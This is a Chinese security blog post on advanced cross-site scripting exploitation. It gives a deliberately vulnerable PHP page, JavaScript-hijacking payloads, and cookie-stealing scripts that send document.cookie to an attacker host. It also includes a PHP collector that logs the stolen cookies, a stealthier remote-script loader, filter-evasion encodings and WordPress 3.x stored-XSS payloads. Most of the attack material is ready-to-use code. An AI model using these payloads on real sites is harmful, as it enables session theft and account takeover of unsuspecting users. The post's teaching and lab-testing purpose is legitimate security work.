XSS高级利用

点击阅读

利用xss的javascript劫持

一个xss漏洞示例页面

1
2
3
4
5
6
7
8
9
10
<form action="" method="get">  
<input type="text" name="xss"/>
<input type="submit" value="test"/>
</form>
<?php
$xss = @$_GET['xss'];
if($xss!==null){
echo $xss;
}
?>

这段代码中首先包含一个表单,用于向页面自己发送GET请求,带一个名为xss的参数。 然后PHP会读取该参数,如果不为空,则直接打印出来,这里不存在任何过滤。也就是说,如果xss中存在HTML结构性的内容,打印之后会直接解释为HTML元素

例如

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<title>Javascript Hijack with XSS</title>
<script type="text/javascript" src="http://118.25.0.196/script.js"></script>
</head>
<body>
<?php echo $_GET["xss"]; ?>
<input type="Submit" onClick="javascript:Hello()" value="Say Hello" />
</body>
</html>

script.js内容为

1
2
3
4
function Hello()
{
alert("hi");
}

当传入xss为
xss=<script>function Hello() { alert("hacked"); } </script>

鼠标点击会弹出hacked而非预定的hi

这里利用xss漏洞劫持javascript代码

可以传入<script type="text/javascript" src="http://[evil server]/hack.js"></script>以执行较长的代码

XSS会话劫持

可以在含xss漏洞的地方使用以下类似代码盗取cookie

<script>window.open("http://x.x.x.x/getcookie.php?cookie="+document.cookie)</script>

<script> document.location="http://x.x.x.x/getcookie.php?cookie="+document.cookie; </script>

getcookie.php:

1
2
3
4
5
<?php
$cookie=@$_GET['cookie'];
$path="./cookies.txt";
file_put_contents($path,$cookie.PHP_EOL, FILE_APPEND);
?>

为防止察觉,使用javascript

<script src=http://x.x.x.x/script.js ></script>

script.js:

1
2
3
var script =document.createElement('script');
script.src='http://x.x.x.x/getcookie.php?cookie='+escape(document.cookie);
document.body.appendChild(script);

s4.png

xss常用的编码

bWAPP中的XSS - Reflected (AJAX/XML)

输入 &lt;img src=1 onerror="alert(document.cookie)"&gt;
弹窗获取cookie

&lt;&gt;分别为<>的HTML tag

第一个,html实体编码,例如:

&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x29;

第二个,进制类,例如:

\x61\x6c\x65\x72\x74\x60\x78\x73\x73\x60

某些时候,也有不带x,例如:\5c\6a

第三个,Unicode,例如:

\u0061\u006c\u0065\u0072\u0074\u0060\u4e2d\u6587\u4e5f\u53ef\u4ee5\u0060

第四个,纯转义,例如:

\' \" \< \>

这样的在特殊字符前加\进行转义。

html标签中:

1
2
3
4
5
html中当然会支持html实体编码,例如&#61,也有&lt;
支持十六进制,但是要以&#x开头,其中x大写小写无所谓。
支持十进制,要以&#开头,注意,没有x哦。
支持数字部分高位补充0,例如&#00000000061,&#61这两是一样的。
可能你已经发现了,后缀有没有; 都无所谓

javascript中:

1
2
3
eval函数里,支持十六进制,但是要以 \x 开头,x只能小写!必须两位,例如:\x5c
eval函数里,支持八进制,但是要以 \ 开头。必须两位,例如:\134
eval函数里,还支持\u前缀的unicode,本质是:16进制的ascii码。必须是四位,例如:\u005c
WordPress XSS 漏洞

WordPress 3.0-3.92 存储型XSS添加管理员&getshell脚本

于是下载了wordpress-3.8.3在虚拟机测试

s12.png

发现管理员登陆时,编辑内容并不会被过滤

编辑文章,回到首页查看

s8.png

但是chrome下弹出的cookie似乎被过滤了,最关键的部分并没有,利用js在服务器上获取的cookie同样不完整

firefox下却没问题

s17.png

以下两个地方都被插入了代码,也会弹出两次

标题
s5.png
侧栏

s6.png

去官网下了个最新版WordPress

s11.png

管理员的编辑仍不会被过滤

接收到cookie

s162.png

wordpress站点有多个用户,当不是管理员时

WordPress 3.0-3.9.2 XSS 漏洞详细分析看到

漏洞的成因是在/wp-includes/formatting.php中的wptexturize函数

formatting.php应该是用于清理XHTML和用特定字符集正确格式化文本

1
2
3
4
5
6
7
8
9
10
11
12
13
function wptexturize($text) {

......

$textarr = preg_split('/(<.*>|\[.*\])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE);

foreach ( $textarr as &$curl ) {

......

}
return implode( '', $textarr );
}

这里的正则/(<.*>|\[.*\])/Us会匹配

1
2
3
4
5
6
7
//这个新姿势能在前台xss弹窗 不限制用户权限 后台的确不能弹窗

[<a href="hello" alt="]"></a>["<script></][a><script>alert(1)</script>]

前后台都能弹窗 似乎还是老的onmouseover能用

[<a href="test" title="]"></a>[" <!-- onmouseover=alert(/xss/)//><!-- -->NOT VULNERABLE<a></a>]

然而我发现这payload没什么效果,有时间再好好看看,完善一下

下图搬运于GitHub - ch3nw3i/XSS: 跨站脚本攻击

xss-1.png

xss-3.jpg

xss-2.png

文章作者: J0k3r
文章链接: http://j0k3r.top/2018/07/27/XSS-h/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r
支付宝打赏
微信打赏